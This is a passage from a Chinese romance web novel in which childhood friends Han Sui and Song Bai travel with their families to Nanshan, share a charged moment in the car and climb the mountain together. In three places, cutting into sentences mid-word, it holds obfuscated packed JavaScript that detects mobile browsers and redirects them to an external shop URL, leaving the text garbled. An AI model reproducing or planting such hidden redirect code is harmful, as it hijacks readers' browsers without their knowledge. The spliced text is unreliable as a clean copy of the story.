韩岁实在累了,换了个姿势又昏沉沉睡了过去。 低缓的呼吸一深一浅,像是有人拿了跟狗尾巴草在他脖子处挠,宋柏只能僵着脖子左右动,但身后趴着的那人就跟嘴上安了追踪器似的,他往那边偏,那人的唇就往那边蹭,一下又一下,简直是在枯草上点火还浑然不自知。 小几层的楼梯走出登天梯的感觉。 单元楼门前停了辆车,周姨放入最后一件背包,关闭后备箱,其余三位已经上了车,车窗开着,李丁香见着自己儿子,开口就责怪他体力差,背个人下楼能花这么久。 宋柏随她念叨,没人能知晓其中的艰辛,只催促着她快些开车门。 周莲心忙道:“我来我来。” 车门从外拉开,里面坐着李丁香,三人手忙脚乱将人扶进去,大动干戈下,韩岁依旧睡着,没有要醒来的迹象。 “小岁她这是熬了多少夜啊,睡成这样,我们真的还要带她一起去爬山么?”李丁香不免忧虑。 周莲心绕至另一边上车坐下,放心道:“实在不愿意就让她在山底下逛逛,我就是想让她出来放松放松,总是低着头在那里画画,对脖子和眼睛都不好。” “那也是。”李丁香见她这么说也就没再开口了。 本来是准备开两辆车,四人商讨一番后还是决定开一辆,三小时的车程一个人就能开到,大家坐在一起聊聊天吃吃东西还热闹。 宋柏瞧着余下的空隙,怀疑自己能坐进去的可能性。 “能坐下能坐下。”李丁香扶着韩岁往里挤了挤,朝外勾手,“快进来。” 双腿局促贴紧,隔壁睡着的人没过多久就开始东倒西歪,最终像卯榫契合般卡入 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17165901|196713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他肩颈间,软肉相贴,分不清哪边的体温更高。 宋柏本来整个人快要贴上车门,受韩岁影响,怕她醒来落枕,上半身往车内倾斜了些,空着的手从两人缝隙间穿过,落在韩岁身后,轻轻揽住。 “你们两个啊,还像小时候一样关系好。”李丁香看着两人欣慰地笑。 “对啊,都不记得两家上次一起出去玩是什么时候了,是不是他们初中毕业的那个暑假?” 记忆的匣子被打开,将一车子人拉回那个盛夏。 以前的夏日好像比现在的还要炎热,一到夜晚,小区里的人一起搬着椅子在庭院里乘凉,蒲扇摇曳,老一辈的人怀里抱着小孩,知了声和小孩子嬉闹的声音成了大人们闲聊的背景乐,一派祥和景象。 韩岁宋柏两人提前完成了暑假作业,作为奖励,四位家长决定带他们去水上乐园玩,就在隔壁市,开车半小时就能到。 韩岁起初是不乐意的,她给自己的暑假安排了严密的小说漫画阅读计划,出去一趟要耗费整整一天的时间,不仅打破了她的计划,还得在外头接受太阳猛烈拷打,怎么想都不划算。 于是半小时的路程里,她兴致始终不高。 他们先去更衣室里换泳衣,韩岁最先出来的,百无聊赖地四处张望,视线最后落定在不远处的冰淇淋摊位上,久久不能移开。 这种天气,吃个冰淇淋不过分吧? 等会就让妈妈带她去买一个香草味的冰淇淋。 韩岁正想着,身前突然站了一人,遮挡住照射过来的阳光,她转过视线,率先闯入眼帘的是宋柏已经成型的六块腹肌。 她没忍住多看了一眼,和自己漫画里看过的那些男主暗暗比较,好像比那些形状都要好看一些。 “想吃?” “什么?”韩岁面露惊恐,他在说什么虎狼之词,吃腹肌?这能吃? “冰淇淋。你刚刚不是在看那个?”宋柏朝着她刚刚看往的方向指去。 “噢,你说这个啊。”韩岁松了口气。 “不然?”宋柏巡着她视线往下看,好像发觉了什么,笑问,“那你以为我在说什么?” 韩岁不理他了。 这人只会拿她开玩笑。 不正经! 乐园里人很多,每一个项目都要排队,韩岁惦记着香草冰淇淋,离开的途中视线频频投递过去,心里百转千回犹豫着没敢开口。 她怕周莲心说她。 在水上乐园里玩还吃冰淇淋容易着凉肚子痛。 大人总有一套传承下来的道理,她无法辩驳。 “妈,我想去买个冰淇淋。”宋柏观察已久,见她迟迟不开口,又望眼欲穿,只好主动提出。 “那你带小岁一起去吃,我们在这树荫下等你们,你手机里有钱吧?还要我转你吗?” “有的。” 宋柏拾步而去,走出去几米远,小尾巴没跟上来,他站定在原地,双手插在泳裤裤兜里,白皙健硕的身材吸引了不少少女视线。 那么引人注目的一个人,眉梢上扬,日光从他褐色瞳孔里折射而出,横冲直撞跌入韩岁眼底。 宋柏下巴微抬,清冽的声音不大不小,钻入她耳朵里:“不来?哥哥请你吃冰淇淋。” 14. Chapter 14 水上乐园里大部分的项目都是限制人数的,他们有六个人,人数超标的情况下会分成两队,也有两人成队的情况,韩岁总是和宋柏搭在一起的。 大人之间的话题他们插入不进去,两人就落在队伍后头,大多数时候都是宋柏在找话题聊,她兴致缺缺。 吃了冰淇淋的好心情也仅仅存在进食期间。 一想到还要排那么多次队,心情跌落后就一直待在谷底。 “你怎么一直瘪着个嘴?”宋柏冒着热气的身躯蹭过来,撞了撞她肩膀。 韩岁依旧没心情跟他斗嘴:“好累啊……好热啊……” 蔫了的大白菜大抵就是她这样的,根本直不起腰来。 突然一阵凉风从前方送来。 宋柏握着不知从哪里买来的小风扇,两手交换着在她周身转动,确保身体的每一处都能感受到凉意。 “这样还热吗?” 韩岁仗着宠爱提要求:“站太久了……腿酸酸的……” “那,我背着你?” 他神色认真不似玩笑。 韩岁看他许久先一步退缩:“不,不用了,就这样吧,你背着我两个人贴在一起也很热的。” 宋柏嗯哼一声:“那你累了想让我背了,小柏子随时奉陪。” 韩岁没忍住,捧腹大笑起来。 “也不知道小岁这么一个闷葫芦,是怎么让宋柏百依百顺的。”周莲心一直记得宋柏的好。 邻里间常调侃两人青梅竹马的关系,最适合再进一步发展了,却不知道为什么在高中毕业后两人失去了联系,直到现在才重新见面。 想再撮合时,已经错过了最佳时机。 韩岁已经有男朋友了。 “小岁哪里是个闷葫芦了。”李丁香从小就喜欢韩岁,自是说什么都往好了夸,“小岁乖巧得很呢,那个时候在大太阳底下跟着我们晒了那么久,一句苦也没说。” 宋柏保持原有动作没变过,手机开了静音,屏幕上不停有水果被消除。 两人聊天的话很难不传入他耳里,他摇了摇头。 哪里没说苦,只是这倾泻出来的苦水都让他接着了。 三小时车程很快,走的路多为乡镇间的小路,没有所谓的休息区,好在没有紧急情况发生,一路没有停歇畅通无阻抵达。 韩岁依旧没有要醒的迹象。 “小岁?”李丁香晃韩岁摊开的胳膊,“到地方了,一起先去吃个午饭。” 南山脚底下横亘着条蜿蜒的步行街,大同小异的商铺门面,贩卖着随处可见的吃食,行人来来往往,因已临近饭点,人算不上多。 他们来得晚,得加点速才能赶上落日。 韩岁眉眼隐隐松动,像是不愿意醒来,百般挣扎。 “丁香,让她再缓缓,我们先去那边点吃的,等会让宋柏带她过来就行。”周莲心目光已经锁定一家小餐馆,背起包往马路对面走去。 李丁香应了声,回头交代宋柏:“早点带她过来哦。” 车内很快趋于平静,宽敞的后座令韩岁蜷缩的身躯展开来,腿缓慢上移搭去座椅上,后脑勺顺着宋柏胸膛缓慢下移,最后干脆利索地枕在他大腿上。 嫌硬,硌人,翻来覆去地调整,一条胳膊弯折垫在侧脸下方,才终于找到最舒适的姿势,慵懒地松了口气,俨然一副又要进入梦乡的状态。 宋柏双手僵在半空中,目光晦涩,视线如有实质般一寸寸勾过她的侧脸轮廓,心跳加速,身体发烫,大脑宕机,唯独某处毫无尊严的起了反应。 他该庆幸,韩岁躺着的姿势触碰不到那处,否则这面子就掉进谷底了。 宋柏放缓呼吸,一轻一重,以这种方式排解烦闷。 时间飞速流逝,十五分钟过去,手机在裤兜里震动,是“妈”的来电,想必是在催促他们。 好在震动声通过介质传递,成功影响到韩岁,她终于揉开惺忪睡眼,在他腿上醒来。 车顶、男人流畅的脸部轮廓、上下滑动的喉结、横直排列的锁骨,以及极易占据人全部视线的、隆起的胸肌。 她脑海里突然浮现出猖狂的一行字:“好想在胸肌上埋一埋啊,也不知道是什么触感。” ……等等,刚刚那个声音是她自己的吧?! 她把这句话说出来了? 水灵灵地说出来了? “你想试试?”男人平静无波的声音慢悠悠传来。 韩岁分明听出了他话里的笑意。 她捂着脸,逃避事实:“刚刚那句话不是我说的,你听错了……啊啊啊啊你能不能伪装失忆一下当作什么也没发生?” “这么直接的话,我很难忘记啊。”宋柏低头,不动声色扫过她指缝间隐约露出的粉红色柔软,声音喑哑,“如果你很想尝试的话,也不是不可以委身于你。” 这话说的…… 韩岁有种自己冒犯了黄花大闺女的荒谬感。 但她对宋柏提出的请求感到兴奋、跃跃欲试。 韩岁很快说服自己:只有亲身触碰过肌肉,明白肌肉是怎样的触感,绘画时才能更加沉浸式投入。 她将一切的一切都归于绘画助力,给了自己沉沦的借口。 “真的?”韩岁试探提出请求,“那,我能不能把手伸进你衣服里摸一下?” 宋柏:? 听到这句话的宋柏陷入震惊里迟迟没有缓过来,以至于韩岁以为他要反悔,从他腿上爬起来侧身贴着他而坐,上半身倾过来,将他禁锢在车辆座椅与车门的方寸之间。 他被水蜜桃甜腻的香味灌溉,心跳加快。 韩岁思索片刻,结合他所说的话,加重自己的诉求:“我很想很想尝试一下,这种程度你应该会同意的吧?” 瞳孔里水波涟漪,睫毛忽眨,小猫一样的双眸里倒映着他失去控制的面孔,大脑还没做出反应,就失去理智地点了头。 几乎在一瞬间,一股凉意从腰腹处往上蔓延,是韩岁撩开了他的衣摆,车内的冷空气钻了进来,贴着肌肤一寸寸攀爬。 微凉的柔软的触感紧跟其上,从腰腹处开始,若即若离地蹭,比小猫的毛发还要撩拨人心,所过之处心惊胆战。 “哇……”韩岁垂着脑袋,细致且认真地轻抚并观摩,时不时给予评价,“你腹肌练得好好啊……形状也很好看,是漫画里很常见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17165902|196713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的八块腹肌,巧克力排布的那样……你怎么这么白呢……” 指甲不小心划过,在皮肤上留下浅淡的一道红痕,韩岁嘴里说着抱歉,指腹清晰地感受到皮肤底下有什么在跳动,与此同时,她也没错过划过那一下时,宋柏突然变得急促的呼吸。 太难受了。 宋柏咬牙切齿:“你什么时候结束。” 车内的氧气都被他吸取,他现在的呼吸很不正常。 韩岁不知怎地吞咽了下口水:“别急,毕竟机会难得,我得仔细观摩一下。” 手继续往上,来到她刚刚口出狂言的地带。 要埋脸什么的,还是算了吧,她做不到。 正当手覆盖住她觊觎的那处隆起时,宋柏突然挺身向前,一掌拢住她后颈朝自己的方向施力,滚烫的呼吸擦过她耳廓,肩膀一重。 宋柏将下巴搁在她肩膀上,唇落在她脉搏跳动的位置,呼吸湿热地传递过来,引起她心脏过度运载。 “别看着我。”宋柏近乎祈求。 韩岁手保持着原有的动作不敢再运行,恰巧在心脏的正上方,她手心按压,好像将他的生死都掌控在自己的一念之间,只要轻轻施压,就能让这颗极速跳动的心脏在一瞬间破裂。 只是为什么,自己的心跳好像要和他同频。 “我,我摸够了,你,你可以松了我吧……”话说出口,韩岁才惊觉自己浑身在发抖,处于一种十分陌生的感受。 宋柏的气声贴着她耳廓,给人一种耳朵被他含在嘴里的错觉,身体翻涌起奇怪的反应。 他说:“等等,让我再缓缓。就一分钟。” 缓什么?韩岁纳闷,但她潜意识里告诉她不要多问,所以她缄口不言,任由潮湿的气流在车厢内流淌,将两人的身体都烘得滚烫。 再次响起的手机铃声划破这份暧昧,两人慌张地拉开距离,好似拨打电话的人正扒在车窗外往里看一样,唯恐被人发现里面异常的氛围。 韩岁飞速爬至另一边车门,推开走出,重重吐了口气,仿佛这样心脏才重新跳动起来。 她刚刚到底在干什么?鬼迷心窍了吧! 密闭的车厢,赤/裸的身体,滚烫的呼吸和失控的心跳。 一切的都一切都在昭示着不正常! 等到心情平复,她才张望四周,确认所处环境。 哎?她只是睡了一会,怎么就来到这来了? 她回头,隔着车同宋柏对视:“这是哪?” 宋柏神色如常,仿佛什么也未发生:“南山。” “啊……”韩岁表示惊讶,“南山?我记得要开三个多小时吧,我睡了这么久?而且我是从家里开始睡的,怎么一下就到这里来了……” 她眼中的震惊不似做假,看来不是为了缓解尴尬刻意而为。 宋柏绕至后备箱背上自己的包,检索周围找到餐馆所在,抬步走在前方:“你睡那么死,中间搬了你几次也没见醒,但凡我是个人贩子,你身体应该就东南西北了。” 脑袋还安安全全待着的韩岁:“……” 呵呵,您可真幽默。 韩岁空着手,亦步亦趋地跟上去。 15. Chapter 15 两人姗姗来迟,馆子内人不多,提前过来的四位围聚在一条桌边,没有他们落座的空间,宋柏自觉领着韩岁去了隔壁桌。 “怎么来这么晚,我们都快吃完了,问你们要吃什么也不回消息......”周莲心放在欲再度拨通电话的手,嗔怒道。 “我睡醒之后得给我点时间缓缓吧,神不知鬼不觉就被你们‘拐’到这里来了,总要平复平复心情。”韩岁快速扫过墙上贴着的纸质菜单,朝旁边的人吆喝,“要一碗小份的鲜肉馄饨。” 宋柏跟她点了份一样的,大份。 点完餐,宋柏扯出几张纸巾,在桌面上擦拭,着重擦了擦她那边的位置。 纸巾很快变成一团黑色的脏东西,这种桌子上有着长期留下的油垢,简单的湿抹布无法擦除,宋柏简单擦拭过后补充道:“你再用纸巾垫一下。” 韩岁见他忙碌一番,没好意思说自己不需要,换做在家她一定会掏出ipad搭配下饭剧一起,但现在他们已迟到,再加上她进食速度缓慢,只得抛开手机闷头吃了。 但她还是象征性地点了点头:“谢谢。” 宋柏擦桌子的手一顿,很快恢复如初,调侃道:“我们的关系还需要说谢谢?” “也是。”对面服务员端着两碗馄饨过来,韩岁蓄势待发,她已经闻到了馄饨汤里的香菜味,“不过我也只是意思意思,不用太放在心上啊小宋子。” 宋柏:…… 白雾缭绕,在两人之间飘逸,隔雾看花的奇异感受在韩岁心底悄然蔓延。 虽然知道宋柏长得好看,但现在这样朦朦胧胧氛围,柔化他凌厉的轮廓,平白增添了一种年上的成熟魅力,让韩岁脱离出从小一起长大时养出的刻板印象,有什么东西在他们空缺的六年里滋然生长。 心跳好像快了些,韩岁徒劳地用手掌盖住自己的心脏,好像这样就能掩盖她时隔许久依旧对他会感到心动的这一事实。 韩岁眨眨眼,摈弃掉心底胡乱飞舞的心绪,吃馄饨的速度都快了些。 身后四位早早收拾完毕,韩岁在周莲心的唠叨下勉强结束这碗馄饨。 吃得有些快了,肚子胀胀的,有点难受,她觉得自己要很快站起来消化消化。 韩伯山抬腕看表,报时:“已经快一点了,再不出发,要赶不上落日了。” 他们步行上山,坐大巴车下山,这样能减少下山对膝盖的损伤。 周莲心和韩伯山是躲着韩岁计划的这一切,所以韩岁是空手来的,后背轻轻松松,有种春游的惬意感。 韩岁东看看西看看,还别说,久盯屏幕导致的酸胀重影,在久违地看见一片绿油油的植被后,得到了缓解,身心都畅快了不少。 只是到了今年才重新开始接触运动的韩岁实在是难以征服这座海报一千三百米加的南山。 才从餐馆走到山脚下,她就已经开始喘气。 呼吸粗重,遥遥看见一石头雕刻而成的拱门,隔壁立着块圆乎乎、打磨光滑的巨石,上面刻着两个字,用红色填底。 用后脚跟想也知道这次爬山之旅从这里正式开始。 韩岁两眼一黑,差点晕过去。 完蛋了,她想回家。 不知不觉间她已经落到了队伍后头,几人聊天的声音逐渐远去,耳边只留下自己逐渐粗重的喘息声。 “这也,哈,走太快了吧……” 南山主烧香拜佛,金顶安置了一座不大的寺庙,供奉着各路神仙,为主的当为财神爷,香火连年旺盛,交通也很发达,从山脚至山顶有全程包圆的大巴车,也有从半山腰到山顶的缆车,照顾了全年龄段的人都能亲自上到山顶来许愿还愿。 韩岁放缓上行的速度开始摆烂,反正跟不上了,不如悠哉悠哉沿途看看风景,她来这里的目的可不是登山,放松才是主线。 周莲心总算看到她已脱离队伍,站在层层台阶上朝下吆喝:“岁岁!走快点!再慢点就赶不上落日和下山的班车了!” 人正直中年,贵为初中语文老师,平常早读带读不在话下,这会声音洪亮,若正好他们在半山腰,且靠近垂直而下的山谷,想必这几句能荡出好几句回音。 韩岁挥了挥手,不做回复。 她可没这么好的嗓子,更何况这上上下下的人也不少,怪令人尴尬的。 “要不要我去跟他们说一声,我们不和他们一起爬,让他们继续去追落日,我们把半山腰定做目标,等他们坐大巴车下山的时候,我们再在半山腰坐。” 温和的声音响在耳侧,原来宋柏一直跟在自己身后,亦步亦趋,她气喘吁吁,宋柏脸色都不曾变一下。 韩岁又挥了挥手,示意你去吧,连开口的力气都没有。 只见他很快去而复返,依旧不带喘的。 韩岁不由感慨:“你体力怎么会这么好?虽然我知道你是游泳教练,但这会不会太强了点。” 宋柏平静地阐述,给人一种不经意装/逼的即视感:“除了游泳,我还有很多热爱的运动,像攀岩、滑雪、徒步什么的,以前读大学的时候经常和室友一起赶着节假日出门徒步。” “哇哦。”韩岁情真意切感慨,“那你的大学生活还真是丰富。” 对比起来,她可真是个实打实的宅女。 从大学起就将自己全身心贡献给了画画,是日也画,夜也画。 当然,她不会否定自己走的这条路。 只是和别人比起来时,她高中毕业后的生活就像一壶平静无波的清水,而宋柏是正在沸腾的、滚汤的热水。 她几乎没社交,不喜欢出门,偶尔和人约了,临到出门了又想退缩,脑袋里构思几百个不去的理由,但又因为自己不喜欢别人放自己鸽子所以自己不会做放鸽子的人而迫使自己出门。 回来后警告自己不要随意答应别人,但依旧心软经不起邀约,屡屡犯错。 出门旅行更是少之又少,人多的地方嫌吵,自然风光好的地方嫌远,总而言之本省内都没去几个地。 有时候在小某书刷到别人在旅途中拍下的风景,也会后悔大学时没有好好去世界各地看看,但过了那股劲又觉得蜗居在自己熟悉的这一方寸天地时依旧满心满眼的欢喜。 于是她与自己和解,尊重自己的每一个选择,也支持自己走向和别人不一样的路。 宋柏望向她的眼神欲言又止,像是想问些什么,又迟迟不知道怎么开口。 中间缺失的六年横亘着一条银河,是难以跨越的沟渠。 宋柏很想问为什么高中毕业后她没有回复他发的那条信息,而是选择了避而不回。 但又怕得到和当初一样的逃避,最终只是抿了抿嘴,没说什么。 韩岁丝毫没发觉,前方路段没有栏杆,没得助力,她真的很想从隔壁沥青路往上爬,但大巴车不停上上下下,山路十八弯,大多横冲直撞,实在危险。 虽然在这种情况下还是有人往那边走。 步伐一次比一次沉重,韩岁觉得一定是有人在她双腿上捆上了她看不见的沙袋,不然为什么每上一层台阶都辛苦地快要跪下。 “宋柏,我累了。”韩岁不想爬了。 再往前走走,有一个面积不大的观景台,说是观景台其实只是一个小型亭子,挨着山边边,位置不错,恰好卡在前方两山之间,视野不受遮挡,能看见无限往外绵延的碧蓝色天空。 她指着亭子说:“我们去那里坐一会吧。” “好。” 宋柏包里物资丰富,两人坐下后,他掏出瓶矿泉水递给她,韩岁来者不拒,也没喝太多,怕频繁上厕所。 隔壁小卖部由简单的木块打造,坐落在一棵旺盛的大树底下,屋顶满是飘零的落叶,变得发黄干瘪,看上去已有不少年头,也不知道这种叶子踩上去还会不会发出跟咀嚼薯片一样脆脆得响声。 韩岁思路继续发散,她的一双眼睛就像揭开了保护盖的镜头,急切地寻找美好的事物,想要留下那一瞬间,用作绘画的参考素材。 突然,鼻尖悠悠传来一股肉香,是刚在小卖部买了根烤肠的人从他们面前路过了一下。 原本不饿的她突然被诱惑,胃口大开。 这会腿也不痛了,人也不喘了,步步生风,挽着宋柏的手往亭子小卖部那边走,语速飞快:“你吃香肠吗?我想吃香肠了,我们一人一根吧,你想吃什么味道的?我想吃那个肉肠,尤其是爆开的那根……老板来一根这个。” “好嘞,美女你可真会挑,这根爆得最开了!” 老板拿起一根竹签,夹起韩岁手指头点中的那一根,尖锐的签子头部迅速果断贯穿烤肠,用带点口音的语调:“要加点辣椒不?” “不加不加。”韩岁言行举止宛若资深烤肠品味大户,迫不及待从老板手里接过烤肠,先咬了一口,才赞扬道,“果然最好吃的烤肠是在校园和景区。” 她满足地咀嚼,推荐宋柏:“你可以试试脆骨肠的,也很好吃。” 没等宋柏开口要还是不要,老板已经串上递过来了:“一共二十。” “二,二十?” “嗯呐,十块钱一根,两根不就是二十?” 老板面露微笑,眼神示意旁边贴着的,用纸箱裁剪下来做成的价格牌,明显标价—— 烤肠(原味肠8元/根肉肠/脆骨肠10元/根) 茶叶蛋(5元/个) 矿泉水(6元/瓶) 嫌少旅游的韩岁第一次遭遇景区毒打,顿时觉得手中的烤肠食之无味弃之可惜,偏偏手里这根已进食一半,没有退回的可能。 韩岁拉着宋柏走远两步,背对着老板:“你说你这根烤肠有可能退吗?” “应该不可能吧。”宋柏突然咬了一口。 韩岁见状一巴掌拍在他胳膊上:“你干嘛!” 宋柏丝毫不觉自己有多“败家”,见她像只炸毛的小猫,玩心大起:“不是说请我吗?没见过都拿到手了还要退回去的,你说是吧?嗯?” 他又咬了一口。 味道确实不错。 “我请你?”韩岁手指指向自己,又不可置信地指向他,“我哪里说过‘请’这个字?” 她声音压得极低,唯恐被路过的行人听见,宋柏不得不弯腰低头,凑到她跟前来听。 “你盛情邀请我来吃烤肠,你说你一根我一根,我还没说要吃什么,你又推荐我吃脆骨的,全程我一句话没说,烤肠就到我手上来了,不是你请我的难道是我自己买的吗?” 好一个逻辑天才。 韩岁惊觉自己完全无话可说。 “帅哥美女?这钱,谁来付啊?”后头适时响起催促的声音,引得韩岁面上烧起了成片的火烧云,烫得人像是发了高烧,随时能在脸上煎个鸡蛋。 太丢人! 每一双投递视线过来的眼睛都在她身上烙下了难以磨灭的痕迹,好比蚂蚁啃食,令人浑身难安。 她不说话,沉默着转身,掏出手机准备去扫柜台上放大了许多倍的二维码。 提前她一步的,是一句收款提示音。 宋柏握住她手腕:“好啦,我逗你玩的,烤肠很好吃,谢谢你推荐,我请你。” 尽管这钱最后还是宋柏付的,韩岁还是生气了。 他就是故意的! 故意让她在这种人多的地方出糗! 最后两口烤肠被她愤愤咬下,她没有背包,又短暂休息了片刻,接下来的一段路她哼唧哼唧地往上爬,全然不顾身后人有没有跟上来,无意识间爬了很长一段路。 台阶断断续续,中间连着一截较短的、直行石板路,走起来轻松,但当她看到下一段台阶时,刚攢好没多久的一股劲瞬间烟消云散了。 这台阶是人爬的? 这么高这么陡!她都看不见顶啊! “还能走吗?”宋柏的声音就在她身后不远处响起。 跟鬼一样,一点声响都没有,闷不作声跟了这么久。 “能!”韩岁喘着气,底气尚且不足,“不用你管。” 等到了半山腰,她一屁股坐下就不准备动了,安心等待四位“专业”登山者的回信,她只需要找到一处风景不错的地方安静观赏就好。 至于前往半山腰的路,她势必自己踏平! 韩岁暗暗给自己打气,深吸一口气,吐出,抬腿—— 哎哟,怎么这么酸,没劲了。 气球的气还没打完,捏着气体进出口的手不知怎地卸了力,好不容易朝里吹的气一下崩出来不少。 作为大门不出二门不迈的阴暗老鼠人,韩岁决定此行回家后她要挂上休整一周的假条。 再多的金钱也无法让她重整旗鼓了。 悲催。 闷热潮湿的粘腻触感将韩岁前前后后包裹,后背浸出的汗水在宽松的大白T恤上留下深色痕迹,两鬓间有汗水往下滑,顺着脖颈流入衣领。 幸好她日常穿搭已舒适为主,穿的都是宽松棉软的衣服,因为要去多走好几步路的地方,甚至还把拖鞋换成了运动鞋,凑巧的凑巧让她这一身打扮不至于爬起山来过于难受。 但难以摆脱的粘腻感依旧让她不适。 明明也没有晒得人发晕的太阳直射,倒是大部分爬山的轨迹都处于树荫之下,算得上舒适。 是她体虚。 韩岁抹了把汗,手心也变得粘腻,最后无奈之下只能扯着衣摆摇晃,恨不得把空气都扇凉,然后再通通密封入她的衣裳里。 “有纸。”一只手适时出现在她面前。 又是宋柏。 跟个哆啦A梦似的,她需要什么就把什么变了出来。 又爬了半晌。 宋柏拎着瓶水:”渴了就喝。“ 又爬了半晌。 宋柏掏出一根士力架:“要不要吃一下?” 抵达半山腰后。 宋柏飞速霸占一块空地,冲她挥手:“快过来坐着。” 一直在被动接受宋柏服务的韩岁:“……” 这臭脸实在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17165903|196713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是摆不下去了。 半山腰人多,大多都是坐着大巴车上来的,她们把后半山腰定为此次爬山的路线。 长而曲折的廊亭下,攢着拥挤的人头,宋柏霸占的那块窄小的空间坐他们两人属实是有点憋屈。 两人不得不紧密贴合在一起,从肩头,到手臂,再到大腿根部,以及小腿。 再体力强悍的人爬了半座山也会冒出腾腾热气,而这些混杂着男性荷尔蒙的热气通过薄薄的布料,强势闯入她的领地,暧昧地交杂在一起。 韩岁有些别扭。 前不久他们还在吵架呢。 或许是她单方面冷战。 就跟他们小时候一样,韩岁还带点婴儿肥的脸生起气来相当明显,嘴巴瘪起,口腔空间缩小,脸颊肉就会往外凸起,就像小猫侧脸那样带着圆润的弧度。 宋柏为了逗人笑,十根手指一根不落地在那停着半圆的脸颊肉上戳来戳去。 带着哄人的语气:“好啦,哥哥真的错了,不生气了好不好?我带你去买冰淇淋。” 小人儿偏头不看他:“妈妈才不准我吃冰淇淋呢。” “哥哥请你吃,我们在外面吃完再回去,把嘴巴擦干净,周阿姨就不知道我们偷偷吃了冰淇淋啦!” 小人儿犹豫片刻,下一秒,她最爱的小布丁就被人塞入手里:“买好了,快吃吧。” 小人儿笑了。 宋柏借着身高优势,上半身往后倾,再漫不经心地斜视过去,眼睛像是有了肌肉记忆,飞速在那块微微凸起的脸颊肉上扫过。 不圆润了,瘦了不少,下巴也尖了。 看上去这些年都没好好吃饭。 “我在群里给他们发消息没人回,应该还没到吧。”韩岁猝不及防转头,宋柏没来得及把视线移开。 “你干嘛?”韩岁摸了下自己的脸,“我的脸上有脏东西?” 宋柏身体僵硬地挪了挪,放在双腿上的手叠在一起搅弄,再度凝上她的脸,遂认真说:“你脸上沾了纸屑。” 几乎是下意识反应,韩岁闭上眼将头抬起来,脸朝上仰着:“你帮我弄一下。” 湿透的纸巾一扯就坏,韩岁手心里只留有一张纸,反反复复擦了许多次,好在不需要她开口问下一张纸巾他们就已经到达了半山腰,不然她还得反复在心里构思这句递台阶的话要怎么开口才不显得僵硬。 明明只是一句反复问纸的事,她心里已经揣测出宋柏n个可能性的回复了。 所以得谨慎再谨慎。 但现在她迅速到没有经过大脑思考的肢体反应又将她架在了尴尬的高地。 怎么就……这么顺其自然了? 韩岁暗骂自己没出息。 但现在既然已经做了,就不要再反悔。韩岁僵着身子,一动不动,耐心等待面前人把纸屑弄下。 周围一下变得安静了,是那几辆大巴车的人都开始往上爬了吗?要不然她怎么一点混杂的声音都听不到,耳边只有宋柏缓慢靠近时,被压缩的空气流动的声音,还有一沉一缓的呼吸声。 他们的呼吸好像紧密交织在一起了,不然她怎么会有一种宋柏要吻下来的错觉。 宋柏靠得这么近吗? 韩岁好想睁开眼看啊,但和他对上视线不是会更尴尬? 在她思绪乱飞到太空外时,接连几下极轻的触感在她脸上一扫而过,甚至还没反应过来,就听见他说:“好了。” “这就弄完啦?”怎么还有点可惜的意思。 “就额头上有一点点。” “好吧。” 韩岁转回头,确保第一眼不是宋柏之后才缓缓睁眼。 睫毛还在颤抖,心跳也是。 “我去打个电话问问,看他们到哪里了吧,时间充裕的话我们先到处去逛逛,再来买大巴车票。” 来爬山的人鲜少有从半山腰就下行的,所以排队的人不多,他们可以慢慢来。 “好。”韩岁点头,呼吸重新恢复平稳。 不大的平台上,宋柏站在不远处,黑色紧身上衣,袖口一丝缝隙都没有地紧贴着他举起手机时蓬□□来的肌肉,下半身的黑色裤子衬得他腿修长,完美的倒三角比例,侧身时能看见胸前隆起的弧度。 就在前不久,她不仅亲眼目睹,还亲手深刻感受。 发着烫,肌肤有脉搏在跳动,扑通,扑通,韩岁快被刺激得缓不过来。 待她回过神来时,手机里已经留下了一张宋柏背对着她,手机贴在耳廓,通电话的一幕。 嗯,很适合画稿。 韩岁心里说着。 才不是因为觊觎他美好的身体呢。 “嗯,我们已经到半山腰了,岁岁她走不动了想多休息一会,等你们上大巴车的时候,我们也差不多过去。” “嗯好,我会照顾好她,你们也要注意身体,别太累了,实在不行就多休息一会,大不了迟一点下山。” “那挂了,嗯,拜拜。” 宋柏收起手机,转身时捕捉到韩岁飞速移走的视线,没戳穿,大方走过去,宽阔的躯干将太阳投射入廊内的光线全部遮挡。 “他们说没剩多久就能到山顶了,让我们在半山腰也要记得欣赏落日。” 当然,落日自然要欣赏,虽然半山腰和山顶的观感差了不是一星半点,但韩岁也很满足了。 宋柏忽而想起什么,又将手机拿出来,点击了几下后,他说:“距离日落还有半小时,要一起坐大巴车追一下吗?” 他说这话的时候,浑身似乎在发光。 